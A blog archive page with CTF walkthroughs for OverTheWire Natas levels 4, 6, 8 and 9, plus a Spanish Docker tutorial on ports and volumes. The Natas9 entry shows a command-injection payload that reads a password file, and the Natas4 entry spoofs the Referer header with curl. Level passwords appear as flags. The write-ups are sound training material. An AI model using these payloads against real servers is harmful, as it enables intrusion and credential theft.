Tag Archives: Tutoriales

CTF OverTheWire: Natas9

Continuing with the CTF Natas series, now is the turn for natas9

Natas Level 8 → Level 9
Username: natas9
URL:      http://natas9.natas.labs.overthewire.org

Using the flag obtained in the previous challenge, we go to the URL showed in the description and we will see the following screen.

It’s just a simple web page with a basic input form, if we type nonsense nothing happens, we proceed to click the View sourcecode and we are redirected to index-source.html

This is supposed to be the backend code of the html form.

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

The vulnerability in this code happens when calling the passthru function, we are reading user input directly from the needle request parameter, then saving it into the $key variable and using it without any kind of sanitization when calling the function, that’s essentially command injection. We are going to try to execute commands in the web server by exploiting this vulnerability.

Sending ;ls -la;

Results in all files on the current directory to be listed

I was a little bit lost at this point but then I remember the CTF instructions.

Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.

So we do ;cat /etc/natas_webpass/natas10;

The flag for the next level, natas10, is: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

As mentioned before, this challenge we exploit a command injection vulnerability that essentially allow us to execute arbitrary commands on the server, depending on the privileges of the user running the web server we might read, write or delete files.

Happy hacking 🙂

CTF OverTheWire: Natas8

After a break we continue with the CTF Natas series, now is the turn for natas8

Natas Level 7 → Level 8
Username: natas8
URL:      http://natas8.natas.labs.overthewire.org

Using the flag obtained in the previous challenge, we go to the URL showed in the description and we will see the following screen.

It’s just a simple web page with a basic input form, if we type nonsense we get an error message displaying Wrong secret, we proceed to click the the View sourcecode

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas8", "pass": "<censored>" };</script></head>
<body>
<h1>natas8</h1>
<div id="content">

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

This is supposed to be the backend code of the HTML page we just saw, the important part of this challenge is in the PHP code functions, taking a quick look the data flow looks like this:

  • Check if submit key exists on $_POST
  • Pass $_POST[‘secret’] to encodeSecret function
  • encodeSecret function will apply some transformation to the secret and return it
  • The transformed secret must be equal to 3d3d516343746d4d6d6c315669563362, otherwise we are getting the Wrong secret error we saw already

As I say before, the important part is happening inside the encodeSecret function, the code is basically doing this:

secret -> base64_encode -> strrev -> bin2hex -> 3d3d516343746d4d6d6c315669563362

So we need to perform exactly the same operations but in reverse order to obtain the original secret, ie: the old bin2hex should be hex2bin, I don’t know if we should call this reverse engineering, anyway ¯\_(ツ)_/¯

3d3d516343746d4d6d6c315669563362 -> hex2bin -> strrev -> base64_encode -> secret

We can use PHP from the command line and do this:

$ php -r "echo base64_decode(strrev(hex2bin('3d3d516343746d4d6d6c315669563362')));"
oubWYf2kBq
$

We get the secret: oubWYf2kBq, we try it on the input form.

The flag for the next level, natas9, is: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

In this challenge we take advantage of a security vulnerability called Source code disclosure and then we did basic reverse engineering on the PHP code.

Happy hacking 🙂

CTF OverTheWire: Natas6

Continuamos con la serie de tutoriales del CTF Natas, ahora toca el turno de natas6.

Natas Level 5 → Level 6
Username: natas6
URL:      http://natas6.natas.labs.overthewire.org

Utilizamos la bandera obtenida en el reto anterior y accedemos a la URL indicada en las instrucciones del reto, veremos una pantalla como la siguiente.

Es solo un formulario donde nos piden ingresar una contraseña o secreto, al introducir cualquier cosa obtenemos un mensaje de error.

En la misma pagina hay un enlace que dice view sourcecode (ver código fuente), damos clic y veremos lo siguiente.

La parte importa es:

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

Es un código php muy sencillo, podemos ver que obtiene un parámetro via POST (el que enviamos mediante el formulario) y lo compara con la variable $secret, ademas hace include de un archivo interesante includes/secret.inc

Accedemos a ese archivo usando el navegador.

Y utilizamos el secret que acabamos de descubrir en el formulario inicial.

La bandera para acceder a natas7 es 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

En este reto aprovechamos un fallo de seguridad llamado Source code disclosure, en donde tenemos acceso a código que solo debería ser consumido del lado del servidor.

Happy hacking 🙂

CTF OverTheWire: Natas4

Continuamos con la serie de tutoriales del CTF Natas, ahora toca el turno de natas4.

Natas Level 3 → Level 4
Username: natas4
URL:      http://natas4.natas.labs.overthewire.org

Utilizamos la bandera obtenida en el reto anterior y accedemos a la URL indicada en las instrucciones del reto, veremos una pantalla como la siguiente.

Como lo hemos hecho anteriormente, revisamos el codigo fuente pero no encontramos nada interesante, tampoco hay archivo robots.txt

Nos concentramos en el mensaje que aparece en la pantalla: Access disallowed. You are visiting from “” while authorized users should come only from “http://natas5.natas.labs.overthewire.org/”

Acceso deshabilitado. Nos estas visitando de “” mientras que los usuarios autorizados deberian de venir desde “http://natas5.natas.labs.overthewire.org/”

El mensaje anterior sugiere algún tipo de validación del lado del servidor en donde se revisa el origen de la petición, damos click en el link de refresh, inspeccionamos las cabeceras del request utilizando google developer toolbars y observamos que el mensaje de la pagina cambio.

Observamos una cabecera interesante llamada referer cuyo valor actual es http://natas4.natas.labs.overthewire.org/, veamos si es posible definir nuestro propio valor utilizando cURL.

Abrimos una consola y escribimos

$ curl --help
Usage: curl [options...] <url>
Options: (H) means HTTP/HTTPS only, (F) means FTP only
....
 -r, --range RANGE   Retrieve only the bytes within RANGE
     --raw           Do HTTP "raw"; no transfer decoding (H)
 -e, --referer       Referer URL (H)
 -J, --remote-header-name  Use the header-provided filename (H)
....

Genial, con el parámetro -e / –referer podemos definir nuestra propia URL.

○ → curl --user natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ --referer http://natas5.natas.labs.overthewire.org/ http://natas4.natas.labs.overthewire.org/
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas4", "pass": "Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ" };</script></head>
<body>
<h1>natas4</h1>
<div id="content">

Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
</html>

La bandera para acceder a natas5 es iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

* Aprendimos que el referer header no es garantía de que el request viene del origen que el cliente nos esta diciendo, esto podría ser considerado una vulnerabilidad de Broken Access Control de acuerdo al top 10 de vulnerabilidad de OWASP.

Happy hacking 🙂

Docker 101 #2: puertos y volúmenes de un contenedor

docker-image

En el artículo anterior comenzamos con una breve introducción a docker, vimos su instalación, configuración e incluso lanzamos un par de servidores web nginx usando contenedores, en esta ocasión explicare un poco más acerca de los puertos y los volúmenes.

Puertos

Ok, lo primero que explicare será el mapeo de puertos, abrimos una terminal y ejecutamos el siguiente comando:

$ sudo docker run --name servidor-web -p 80:80 nginx

El parametro –name sirve para asignarle un nombre al contenedor.

El parámetro -p sirve para realizar el mapeo de puertos y recibe una cadena en el formato PUERTO-HOST:PUERTO-CONTENEDOR, es decir, del lado izquierdo definimos el puerto que nuestro sistema operativo le asignara al contenedor de docker y del lado derecho el puerto en el que realmente se ejecuta el servicio dentro del contenedor, en este caso nginx (suena un poco confuso al inicio así que regresa y léelo de nuevo hasta que lo entiendas)

En el comando anterior estamos mapeando el puerto 80 de nuestra computadora con lo que sea que este corriendo en el puerto 80 del contenedor, es por eso que si vamos a http://localhost veremos el servidor web en ejecución 🙂

nginx

En la consola desde donde ejecutaste el comando podrás ver las peticiones hechas al servidor dentro del contenedor.

docker-cli

Al ejecutar el comando y correr el contenedor abras notado que la consola se queda bloqueada por el servidor web, para evitar eso podemos correr el contenedor en modo detach con el parámetro -d, esto ejecutara el contenedor en segundo plano.

$ sudo docker run -d --name servidor-web -p 80:80 nginx

docker_detach

Observa como tan pronto como ejecutamos el comando docker nos devuelve el control de la terminal, cuando ejecutas contenedores de esta forma no olvides que para eliminarlos primero tienes que recuperar su id, el cual puedes obtener haciendo:

$ sudo docker ps

y en la primera columna encontraras el ID del contenedor que después deberás de eliminar usando sudo docker rm [CONTAINER-ID], si lo prefieres un tip muy útil para borrar todos los contenedores que hayas creado es ejecutar:

$ sudo docker stop $(sudo docker ps -a -q)
$ sudo docker rm $(sudo docker ps -a -q)

El primer comando detiene todos los contenedores que estén en ejecución y el segundo los elimina todos (no puedes eliminar un contenedor que este en ejecución).

Puedes correr todas los contenedores que quieras (o necesites) de nginx en diferentes puertos y con diferentes nombres y cada uno será una instancia completamente diferente del servidor web 🙂
containers

Observa como cada uno de los servidores web corren en un puerto diferente.

multi-docker

Volúmenes

Los volúmenes en docker pueden ser definidos con el parámetro -v y nos ayudan a resolver el problema de la persistencia de datos en los contenedores, un volumen puede ser visto como un mapeo entre un directorio de nuestra computadora y un directorio en el sistema de archivos del contenedor, regresemos a nuestro contenedor de nginx, ¿cómo le hacemos para mostrar un sitio web en nginx en lugar de la página por default?

Lo primero que haremos será crear una carpeta en donde colocaremos el código fuente de nuestro sitio web html (por ahora no trabajaremos con nada dinamico), por ejemplo website

website

Ejecutamos el siguiente comando mapeando el contenido de /home/alevsk/dev/sitio-web hacia /usr/share/nginx/html que es el directorio por default que utiliza nginx para servir contenido a Internet.

$ sudo docker run -d --name sitio-web -v /home/alevsk/dev/sitio-web:/usr/share/nginx/html -p 80:80 nginx

La próxima vez que visitemos http://localhost/ veremos nuestro sitio web corriendo.

nginx-web

Puedes replicar este contenedor con el contenido del sitio web tantas veces como quieras, es muy util en un escenario donde necesitas varios ambientes para pruebas, desarrollo, etc.

Eso es todo por ahora, en el siguiente tutorial aprenderemos a crear nuestras propias imágenes de docker (dockerizar aplicaciones), después de eso veremos otra herramienta bastante útil llamada docker-compose para facilitar la orquestación de aplicaciones que utilizan múltiples contenedores.

Saludos y happy hacking.